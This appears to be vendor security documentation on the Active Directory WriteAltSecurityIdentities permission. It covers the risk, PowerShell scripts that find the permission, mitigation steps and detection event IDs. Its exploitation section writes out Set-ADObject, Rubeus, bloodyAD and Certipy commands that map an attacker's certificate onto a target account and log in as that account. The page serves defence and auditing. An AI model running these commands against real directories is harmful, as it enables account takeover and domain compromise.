> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/ad/writealtsecurityidentities.md).

# WriteAltSecurityIdentities

## Summary

|                            |                                            |
| -------------------------- | ------------------------------------------ |
| **Forestall ACL Alias**    | WriteAltSecurityIdentities                 |
| **AD Alias**               | Write Alt-Security-Identities              |
| **Affected Object Types**  | Users, Computers, Managed Service Accounts |
| **Exploitation Certainty** | Likely                                     |
| **AD Attribute**           | altSecurityIdentities                      |
| **AD Right**               | WriteProperty                              |
| **AD Permission Guid**     | 00fbf30c-91fe-11d1-aebc-0000f80367c1       |

## Description

The `WriteAltSecurityIdentities` permission allows an account to create, update, or remove values in the `altSecurityIdentities` attribute on Active Directory authentication principals. This attribute stores explicit certificate mappings that tell domain controllers which X.509 certificates can authenticate as the target account.

Explicit mappings are commonly used for certificate based authentication through Kerberos PKINIT or Schannel. They must be tightly controlled because a new mapping can make a certificate controlled by another principal valid for the target account.

## Risk

An attacker with `WriteAltSecurityIdentities` over a target object can add a mapping for a certificate they control and then authenticate as that target. If the target is privileged, a computer, or a managed service account with valuable access, this can lead to privilege escalation, persistence, credential access, and domain compromise.

The risk is higher when weak explicit mapping formats are used. Strong mappings bind to certificate specific values such as issuer and serial number, Subject Key Identifier, or SHA1 public key hash. Weak mappings such as `X509:&lt;RFC822&gt;`, `X509:&lt;S&gt;`, and `X509:&lt;I&gt;...&lt;S&gt;` rely on reusable certificate fields like e-mail address or subject name.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `WriteAltSecurityIdentities` entries.

**1.** Find-WriteAltSecurityIdentities function

```powershell
function Find-WriteAltSecurityIdentities {
    [CmdletBinding()]
    param(
        [string]$SearchBase = $null,
        [string]$OutputPath = "WriteAltSecurityIdentities.csv",
        [string]$Target = $null
    )

    try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }

    $allow = [System.Security.AccessControl.AccessControlType]::Allow
    $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1"
    $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"

    $ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter }
    $adParams = @{
        LDAPFilter = $ldapFilter
        ErrorAction = "Stop"
    }
    if ($SearchBase) { $adParams.SearchBase = $SearchBase }

    try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
    if (-not $objects) { Write-Output "No matching objects found."; return }

    $rows = foreach ($object in $objects) {
        try {
            foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) {
                if (
                    $ace.AccessControlType -eq $allow -and
                    (($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and
                    $ace.ObjectType -eq $altSecurityIdentitiesGuid -and
                    -not $ace.IsInherited
                ) {
                    [pscustomobject]@{
                        ObjectDN         = $object.DistinguishedName
                        PermissionHolder = $ace.IdentityReference.Value
                    }
                }
            }
        } catch {
            Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)"
        }
    }

    if ($rows) {
        $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported results to '$OutputPath'."
    } else {
        Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities."
    }
}
```

**2.** Scan all supported domain principals

```powershell
Find-WriteAltSecurityIdentities
```

**3.** Scan a specific account

```powershell
Find-WriteAltSecurityIdentities -Target "_admin"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-WriteAltSecurityIdentities -SearchBase "CN=Users,DC=Forestall,DC=Labs"
```

#### .NET Directory Services

By leveraging PowerShell's built-in .NET DirectoryServices namespace, you can enumerate `WriteAltSecurityIdentities` entries without relying on external modules.

**1.** Find-WriteAltSecurityIdentitiesSimple function

```powershell
function Find-WriteAltSecurityIdentitiesSimple {
    [CmdletBinding()]
    param(
        [string]$Target,
        [string]$OutputPath = "WriteAltSecurityIdentities.csv"
    )

    $altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1"
    $allow = [System.Security.AccessControl.AccessControlType]::Allow
    $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"

    if ($Target) {
        try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return }
    } else {
        try {
            $baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext
            $searchRoot = [ADSI]"LDAP://$baseDN"
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter = $principalFilter
            $searcher.PageSize = 1000
            [void]$searcher.PropertiesToLoad.Add("distinguishedName")
            $entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } }
        } catch {
            Write-Error "LDAP enumeration failed: $_"
            return
        }
    }

    $rows = foreach ($entry in $entries) {
        try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue }
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $allow) { continue }
            if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue }
            if ($ace.ObjectType -ne $altSecurityIdentitiesGuid) { continue }
            if ($ace.IsInherited) { continue }

            $holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
            [pscustomobject]@{
                ObjectDN         = $entry.Properties["distinguishedName"][0]
                PermissionHolder = $holder
            }
        }
    }

    if ($rows) {
        $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported results to '$OutputPath'."
    } else {
        Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities."
    }
}
```

**2.** Scan all supported domain principals

```powershell
Find-WriteAltSecurityIdentitiesSimple
```

**3.** Scan a specific account

```powershell
Find-WriteAltSecurityIdentitiesSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server, and activate the `Advanced Features` option.

**2.** Right-click the affected object.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click the Advanced button to open the Advanced Security Settings dialog.

**6.** Select the relevant Access Control Entry (ACE).

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the `Write altSecurityIdentities` option.

**9.** Click OK and Apply to save changes.

![Write altSecurityIdentities permission](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-f0be4951ae85e9caa4290d0325fafff6c8adc10b%2Fad-writealtsecurityidentities-image.png?alt=media)

## Exploitation

### Windows

An attacker first obtains a certificate they control. Then they write an explicit mapping to the target account so the certificate is accepted as that target.

```powershell
Set-ADObject -Identity <targetDN> -Add @{'altSecurityIdentities'='X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'}
```

After the mapping is added, the attacker can request a TGT as the target by using the mapped certificate.

```powershell
.\Rubeus.exe asktgt /user:<targetaccount> /certificate:attacker.pfx /password:<pfxpassword> /domain:forestall.labs /dc:FSDC01.forestall.labs /nowrap
```

### Linux

On Linux, the mapping can be written with `bloodyAD` by using an account that holds the `WriteAltSecurityIdentities` permission.

```bash
bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object <targetuser> altSecurityIdentities -v 'X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'
```

The attacker can then authenticate with the certificate using `Certipy`.

```bash
certipy auth -pfx attacker.pfx -username <targetuser> -domain forestall.labs -dc-ip <dc-ip>
```

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and activate the `Advanced Features` option.

**2.** Double-click the affected object and open the `Security` tab.

**3.** Click the `Advanced` button and open the dangerous Access Control Entry.

**4.** Remove the `Write altSecurityIdentities` permission.

**5.** Click OK and Apply to save changes.

![Remove Write altSecurityIdentities permission](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-f0be4951ae85e9caa4290d0325fafff6c8adc10b%2Fad-writealtsecurityidentities-image.png?alt=media)

Review existing `altSecurityIdentities` values on privileged users, computers, and managed service accounts. Remove mappings that are no longer required, and replace weak mappings such as `X509:&lt;RFC822&gt;`, `X509:&lt;S&gt;`, and `X509:&lt;I&gt;...&lt;S&gt;` with strong mappings such as `X509:&lt;SKI&gt;`, `X509:&lt;SR&gt;`, or `X509:&lt;SHA1-PUKEY&gt;` where explicit mapping is required.

## Detection

Changes to the `altSecurityIdentities` attribute and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:

| Event ID | Description                                     | Fields/Attributes                                                                    | References                                                                                                                     |
| -------- | ----------------------------------------------- | ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified.        | AttributeLDAPDisplayName should equal altSecurityIdentities.                         | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                     |
| 4662     | An operation was performed on an object.        | AccessMask, Properties, and ObjectType for WriteProperty activity.                   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                     |
| 4768     | A Kerberos authentication ticket was requested. | CertIssuerName, CertSerialNumber, CertThumbprint when certificate fields are logged. | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768> |

## References

* [KB5014754: Certificate-based authentication changes on Windows domain controllers | support.microsoft.com](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
* [Certified Pre-Owned | specterops.io](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS - Certificate templates and abuses | thehacker.recipes](https://www.thehacker.recipes/ad/movement/adcs/)
* [Certipy | GitHub](https://github.com/ly4k/Certipy)
